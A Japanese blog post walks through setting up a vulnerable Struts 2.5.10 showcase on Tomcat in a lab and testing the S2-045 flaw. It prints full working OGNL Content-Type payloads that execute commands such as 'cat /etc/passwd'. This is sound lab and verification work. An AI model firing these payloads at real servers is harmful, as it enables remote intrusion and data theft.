今さらS2-045の検証をしてみる②:S2-045の検証

セキュリティ

前回Tomcatの動作までを確認しましたので、今回は実際にStruts2を動作させてS2-045の動作まで実施します。

Struts2については、定期的に甚大な問題につながる脆弱性が発見されるので、すぐに構築できるように手を動かしておけると良いと思います。

showcaseの配置

S2-045を検証するのに新しいプログラムを組んだりする必要はありません。

サンプルプログラムとして「struts2-showcase」というものがあり、これを配置することでデモ環境の構築は完了することができます。

まずは公式サイトに行って脆弱性があるバージョンのStruts2をダウンロードしてきます。

今回は脆弱性のギリギリあるバージョンである「2.5.10」を使用します。

Index of /dist/struts/2.5.10

もちろん「wget」で直接ダウンロードしても大丈夫です。

まずはVM上に持ってきたら、展開をします。

$ unzip struts-2.5.10-all.zip
#zipファイルを解凍

解凍したらstruts2-showcaseが存在するディレクトリまで移動します。

$ cd struts-2.5.10/apps/
#「struts2-showcase」があるディレクトリへ移動

lsコマンドでディレクトリ内を表示させると以下のようになっているかと思います。

上記の赤枠で囲われた「struts2-showcase.war」をTomcatの公開領域にコピーします。

$ cp struts2-showcase.war /var/lib/tomcat8/webapps/
#「struts2-showcase.war」をTomcatの公開領域にコピー(権限によってはsudoが必要です。)
$ cd /var/lib/tomcat8/webapps/
# Tomcatの公開領域へ移動

すると以下のように「struts2-showcase」というディレクトリが出来ていることがわかります。

これは先ほどコピーした「struts2-showcase.war」がデプロイされた結果できたディレクトリです。

これで準備は完了です。実際にブラウザからアクセスしてみましょう!

アクセスURL例:http://192.168.70.135:8080/struts2-showcase/index.action

以下のような画面が表示されればOKです。

さて早速S2-045を試してみましょう!

以下はburpで検証しました。ますは「ip addr」を入力した際の挙動です。(間違えて最初ifconfigと入力して怒られたのは内緒

次は「cat /etc/passwd」と入力した際の挙動です。

バッチリ検証環境ができました!後はどんなコマンドが取れるかだったり他の人に見せて自慢したりできますね。

以下がそれぞれの検証コードです。「Content-Type」ヘッダを操作して攻撃を行います。

赤太字になっている個所に任意のコマンドを入力します。

2018/8/17修正、前の形式だと見づらかったので変更

Content-Type: %{(#nike=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’ip addr‘).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
#ネットワークデバイスのIPアドレスを表示させる
Content-Type: %{(#nike=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’cat /etc/passwd‘).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
#catコマンドで/etc/passwdの内容を表示させる

最後に

S2-045の検証環境の作成について記事にしました。

次回にS2-045のまとめとして勉強会で話した内容を最後に記事にします。

新たに脆弱性が出た際にすぐに手を動かして検証することは大事だと私は思っています。

皆様も是非手を動かして検証してみてください。

Strutsは今後も大きな問題になる脆弱性が出る予感はしていますので、開発する訳ではないですが簡単に動かせるような環境を用意できるようにしておくのが、セキュリティエンジニアの方にはオススメします。

もちろん自分での開発環境用に作成するのもいいと思いますので、試してみてください。

不明点や要望やこういったこともやって欲しいとの要望があれば、お問い合わせページやコメント、ツイッターからでも結構ですので、気軽にご連絡ください。

コメント